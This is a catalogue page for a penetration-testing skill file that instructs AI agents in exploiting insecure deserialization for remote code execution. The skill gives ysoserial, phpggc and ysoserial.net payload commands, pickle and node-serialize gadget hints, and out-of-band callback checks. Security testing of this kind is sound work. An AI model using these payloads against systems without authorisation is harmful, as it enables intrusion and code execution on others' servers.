Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/s0ld13rr/pentestcode/deserializationnpx skills add s0ld13rr/pentestcode --skill deserializationgit clone --depth 1 https://github.com/s0ld13rr/pentestcodeWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00098 | $0.00718 |
| Opus 5 | $0.00049 | $0.00359 |
| Sonnet 5 | $0.00020 | $0.00144 |
| Haiku 4.5 | $0.00010 | $0.00072 |
Grade A, and why
web-deserialization scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
# Python — pickle __reduce__ → os.system('id') ; Node — node-serialize _$$ND_FUNC$$_ IIFE How it starts
The opening of the file, as written. The whole thing — 38 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Insecure Deserialization → RCE
When this fires
Attacker-controlled data is deserialized: cookies/tokens/hidden fields that decode to a serialized object, __VIEWSTATE, RMI/HTTP-invoker/message-queue bodies, or a known deser-CVE stack (see web-framework-rce for the CVE map).
Decide — fingerprint the format FIRST
- base64
rO0AB...or raw hexAC ED 00 05→ Java (ObjectInputStream). O:8:"ClassName":...→ PHP (unserialize()).__VIEWSTATE/AAEAAAD...→ .NET (BinaryFormatter/LosFormatter).- python pickle opcodes (
\x80\x04,c__builtin__) → Python. {"rce":"_$$ND_FUNC$$_..."}→ Node (node-serialize).
Exploit → PROVE IMPACT (gadget chains)
# Java — ysoserial (pick a gadget matching the classpath: CommonsCollections1-7, URLDNS to test reachability first):
java -jar ysoserial.jar CommonsCollections6 'id' | base64 -w0 # place in the sink
# iterate gadgets: URLDNS/JRMPClient to confirm deser happens, then CC/Spring/Hibernate for RCE
# PHP — phpggc (find the framework's gadget: Laravel/Symfony/Monolog/Guzzle):
phpggc Monolog/RCE1 system id
# .NET — ysoserial.net -g TypeConfuseDelegate -f BinaryFormatter -c "cmd /c ..."
# Python — pickle __reduce__ → os.system('id') ; Node — node-serialize _$$ND_FUNC$$_ IIFE
Proof required: id/uname (RCE). If the classpath is unknown, confirm deserialization first with a benign OOB gadget (Java URLDNS → your listener), then find the working RCE gadget; log each attempted gadget via record_vector attempt: so you don't re-try dead chains.
Tooling
ysoserial (Java), phpggc (PHP), ysoserial.net (.NET), gadgetinspector for custom classpaths; nuclei -tags deserialization.
False positives / pitfalls
- Signed/encrypted blobs (HMAC'd cookies, encrypted VIEWSTATE) → you need the key first (leaked/weak/default) — see web-auth-bypass-idor for key recovery; don't brute blindly.
- Gadget must match the LIBRARIES on the classpath — a failed CC1 doesn't mean not-vulnerable; iterate the gadget set.
- Length/type validation before deser → may need to satisfy a wrapper.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago First seen · 38 lines · 98 tokens per session scan A b6bf5f825c0e
web-deserialization is a skill published in the GitHub repository s0ld13rr/pentestcode (566 stars, last pushed 11d ago), licensed MIT. It adds 98 tokens to every session and 718 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 1 finding (runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
stripe-projects
Use after E2B sandbox/API access has been provisioned through Stripe Projects and the user needs to use the resulting E2B API key with the E2B CLI, JavaScript SDK, Python SDK, or Code Interpreter SDK.
greeting-user
Explains how to properly greet the user.
using-process-tool
Describes how to correctly use 'process' tool.
test-skill
test description.
documents
Create, read, edit, review, comment on, sanitize, render, and validate Microsoft Word DOCX documents. Use whenever a DOCX or Word document is a primary input or deliverable, including reports, proposals, forms, templates, tracked revisions, comments, tables, images, headers, footers, and style-preserving edits.
Read, create, inspect, merge, split, rotate, encrypt, fill, and validate PDF files. Use when the user asks to work with a PDF or convert supported Markdown into a polished PDF in AstrBot.